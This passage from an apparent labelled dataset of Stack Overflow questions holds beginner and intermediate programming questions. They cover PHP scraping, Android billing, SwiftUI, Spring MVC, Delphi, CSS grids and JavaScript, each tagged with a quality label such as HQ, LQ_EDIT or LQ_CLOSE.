<p>I have tried modifying the w3 schools responsive navbar but there always seems to be an issue which I cannot resolve. A JSfiddle of the w3 schools responsive navbar <a href="https://jsfiddle.net/g19h45ep/3/" rel="nofollow noreferrer">https://jsfiddle.net/g19h45ep/3/</a></p>
<pre><code>testing code
</code></pre>
| <javascript><html><css> | 2019-06-07 20:15:13 | LQ_CLOSE |
56,500,953 | How to scrap a specific element of a website using php? | I'm trying to scrap a specific element of a website using php. I tried a few techniques using simple_html_dom but unsuccesfully. Basically I want to scrap the current variation of btc's price (a pourcentage) present on so many website.
I tried 2 ways but none of them worked: using simple_html_dom's find() method and getElementbyId(); and basically the same but with a string output at the end with saveXML(). The element that i want is inside <span id="centval"> % </span> so I tried to look for this specific id.
``` php
require_once 'lib/simple_html_dom.php';
$source_url = 'https://bitcointicker.co/';
$html_source = file_get_html($source_url);
$changes = $html_source->find('span')->plaintext;
$changes->getElementById('centval');
```
And
```php
function getElementByIdAsString() {
$pretty = true;
$url = 'https://bitcointicker.co/';
$id = "centval";
$doc = new DOMDocument();
@$doc->loadHTMLFile($url);
$element = $doc->getElementById($id);
echo $doc->saveXML($element);
}
```
So I expected my page to output the pourcentage of variation in the btc price but it didn't output anything, still loading, so I guess I'm doing something wrong but I can't see what :x | <php><web-scraping> | 2019-06-07 20:37:53 | LQ_EDIT |
56,502,313 | android billing how to enable enablePendingPurchases() | <p>I've moved from an old gradle of billing api, to the most recent to date, and now I've tried adding </p>
<pre><code> BillingClient.Builder enablePendingPurchases = BillingClient.newBuilder(this).setListener(this);
</code></pre>
<p>but I can not get it to work, here's the error</p>
<pre><code> Caused by: java.lang.IllegalArgumentException: Support for pending purchases must be enabled. Enable this by calling 'enablePendingPurchases()' on BillingClientBuilder.
at com.android.billingclient.api.BillingClient$Builder.build(BillingClient.java:309)
at com.aplicacion.vivaluganoapp.ar.ponerDineroActivity.setupBillingClient(ponerDineroActivity.java:144)
at com.aplicacion.vivaluganoapp.ar.ponerDineroActivity.onCreate(ponerDineroActivity.java:125)
</code></pre>
<p>complete code:</p>
<pre><code>protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_poner_dinero);
recyclerProduct.setHasFixedSize(true);
recyclerProduct.setLayoutManager(new LinearLayoutManager(this));
BillingClient.Builder enablePendingPurchases = BillingClient.newBuilder(this).setListener(this);
enablePendingPurchases.build();
setupBillingClient();
}
private void setupBillingClient() {
billingClient = BillingClient.newBuilder (this).setListener(this).build();
billingClient.startConnection(new BillingClientStateListener() {
@Override
public void onBillingSetupFinished(BillingResult responseCode) {
int maca = BillingClient.BillingResponseCode.OK;
String maca2 = String.valueOf(maca);
String maca3 = String.valueOf(responseCode);
if (maca3 == maca2)
{
Toast.makeText(ponerDineroActivity.this, "WORKS", Toast.LENGTH_SHORT).show();
}
else
{
Toast.makeText(ponerDineroActivity.this, "ERROR", Toast.LENGTH_SHORT).show();
}
}
@Override
public void onBillingServiceDisconnected() {
Toast.makeText(ponerDineroActivity.this, "Disconnected from Billing", Toast.LENGTH_SHORT).show();
}
});
}
</code></pre>
<p>if I place only:</p>
<pre><code>BillingClient.Builder enablePendingPurchases = BillingClient.newBuilder(this);
</code></pre>
<p>the error is:</p>
<pre><code>Caused by: java.lang.IllegalArgumentException: Please provide a valid listener for purchases updates.
</code></pre>
<p>any help? i'm tired of trying</p>
| <android><billing> | 2019-06-07 23:49:48 | HQ |
56,502,572 | coudn't get value from text box | i have a text box called txtUprice.. which gets the value from a data grid view
**but when i tried get value of txtUprice text box in a message box.. (with or without changing the text box value) im getting an error "Input string was not in a correct format"**
i have tried changing the data type in sql where i get the value to the datagrid
//to get value for textbox from data grid i have used this code
txtUprice.Text = datagridview.SelectedRows[0].Cells[4].Value.ToString()
//to take the textbox value to messagebox i have used this code
int unitprice;
unitprice = int.Parse(txtUprice.Text);
MessageBox.Show(unitprice.ToString()); | <c#><datagridview><textbox> | 2019-06-08 00:50:22 | LQ_EDIT |
56,505,086 | Function behavior in JS | There is such a piece of JS code...
<script>
function test1() { console.log('Test 1'); }
function test2() { console.log('Test 2'); }
const button = document.getElementById('button');
button.onclick = function() { test1(); }
button.onclick = function() { test2(); }
</script>
...and a little ntml
<button id="button">RGB</button>
When you click on a button, only "Test 2" is displayed in the console.
I would like to hear only an explanation of this behavior.
Еhank | <javascript> | 2019-06-08 09:25:52 | LQ_EDIT |
56,505,692 | How to resize Image with SwiftUI? | <p>I have a large image in Assets.xcassets. How to resize this image with SwiftUI to make it small?</p>
<p>I tried to set frame but it doesn't work:</p>
<pre><code>Image(room.thumbnailImage)
.frame(width: 32.0, height: 32.0)
</code></pre>
| <ios><swift><swiftui> | 2019-06-08 10:55:56 | HQ |
56,505,969 | why i am getting this error in Spring mvc (Invalid mime type "json": does not contain '/')? | Getting Below error :
EVERE: Context initialization failed
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping': Invocation of init method failed; nested exception is org.springframework.http.InvalidMediaTypeException: Invalid mime type "json": does not contain '/'
```
<%@page import="org.json.JSONObject"%>
<%@ page language="java" contentType="application/json charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<h1>Welcome</h1>
<a href="./getRegister">Register</a>
<a href="./delete?id=1">Delete</a>
<%
JSONObject obj = new JSONObject();
obj.put("id", "1");
obj.put("name", "ABC");
%>
<form action="./jsonreq" method="post">
<input type="hidden" name="obj" id="obj" value="<%=obj%>">
<input type="submit" value="Submit"/>
</form>
</body>
</html>
```
2)Controller:
```
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import com.springhibernate.bean.Employee;
import com.springhibernate.service.EmployeeService;
@Controller
public class RegistrationController {
@RequestMapping(path="/jsonreq", method=RequestMethod.POST, consumes="json")
public @ResponseBody Employee json(@RequestBody Employee obj)
{
return obj;
}
}
```
EVERE: Context initialization failed
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping': Invocation of init method failed; nested exception is org.springframework.http.InvalidMediaTypeException: Invalid mime type "json": does not contain '/' | <json><spring><spring-mvc><spring-rest> | 2019-06-08 11:34:23 | LQ_EDIT |
56,507,846 | Delphi - How to correctly register a graphic class since XE8? | <p>I'm writing a Delphi package, which provides a new custom TGraphic object, allowing to read a new image format in VCL components like TImage.</p>
<p>I originally developed this package with RAD Studio XE7, and it worked well. However I migrated recently to a newer RAD Studio compiler version, and although my package continues to work properly on that new version, I noticed a strange bug that never appeared before. </p>
<p>I have a form with several components, some of them are TImage components. Immediately after opening the IDE, the first time I open my project in design time, all the TImage components containing my custom TGraphic component loose their content. If I close then reopen the project, the images reappear, and the bug no longer happen until I close and reopen my IDE.</p>
<p>I dug in my code to understand what may cause the issue. To register my custom TGraphic component, I use the class initialization section, in which I wrote the following code:</p>
<pre class="lang-pascal prettyprint-override"><code>initialization
begin
Vcl.Graphics.TPicture.RegisterFileFormat('svg', 'Scalable Vector Graphics', TWSVGGraphic);
end;
</code></pre>
<p>However I found that, since the XE8 compiler version, the TImage constructor is called before my initialization section, causing thus apparently the above mentioned issue. All the compiler versions since XE8 are affected, but this bug never happened on XE7 or earlier. So something changed since XE8.</p>
<p>Here are my questions:</p>
<ul>
<li>Is the way I use for register my custom graphic class correct?</li>
<li>If not, what is the correct way to do that?</li>
<li>As something seems different since XE8, what it the new correct manner to register my graphic component?</li>
<li>Did anyone else faced the same issue? How he resolved it?</li>
<li>Is this may be a new RAD Studio bug, or the issue is rather on my side?</li>
</ul>
| <delphi><components><registration><delphi-xe8><timage> | 2019-06-08 15:45:06 | HQ |
56,509,640 | How to set custom highlighted state of SwiftUI Button | <p>I have a Button. I want to set custom background color for highlighted state. How can I do it in SwiftUI?</p>
<p><a href="https://i.stack.imgur.com/9aYkU.png" rel="noreferrer"><img src="https://i.stack.imgur.com/9aYkU.png" alt="enter image description here"></a></p>
<pre><code>Button(action: signIn) {
Text("Sign In")
}
.padding(.all)
.background(Color.red)
.cornerRadius(16)
.foregroundColor(.white)
.font(Font.body.bold())
</code></pre>
| <swiftui> | 2019-06-08 19:48:44 | HQ |
56,509,778 | Sorting items to top of grid when hiding some of them | I am working on a catalog for a website that uses a grid to show different purchaseable items.
Now I have a function that will hide certain items in the grid by clicking a button. But when clicked the items that are still visible stay in their original position in the grid.
So if i have 6 items spread over 3 rows and 2 columns as such: 1 2 3
4 5 6
and then perform the function to lets say hide numbers dividable by 2 the grid looks like this 1 3
5
Is there a way to make the grid look like this instead? 1 3 5
| <javascript><html><css><grid-layout> | 2019-06-08 20:12:13 | LQ_EDIT |
56,510,212 | How do you detect if firefox DevTools is open? | <p>I've been searching high and low but all I could find are ways to detect chrome Dev Tools and <em>FireBUG</em> Dev Tools. Is there a way to detect, on <strong>Firefox</strong>, that the Inspect Element/console/Dev Tool is open?</p>
| <javascript><html><security><firefox> | 2019-06-08 21:17:57 | LQ_CLOSE |
56,510,664 | HTTP fetching Url, Status=429 | <p>Org.jsoup.HttpStatusException : HTTP error fetching URL . Status =429 that shows when i parsed 900 urls at once...and the message stays for a while like 1 hour or more ..is there any solution to this problem ? Or a way to detect the error before hapening ? </p>
| <java><parsing><jsoup><http-status-code-429> | 2019-06-08 22:47:36 | LQ_CLOSE |
56,511,571 | Can a process perfrom IO while residing in secondary memory? | I am confused about suspend wait and block terms in operating system.
I read it as a process which is in wait or block state needs to be thrown in sec memory and resumes with main memory after completing IO. | <operating-system> | 2019-06-09 02:38:10 | LQ_EDIT |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.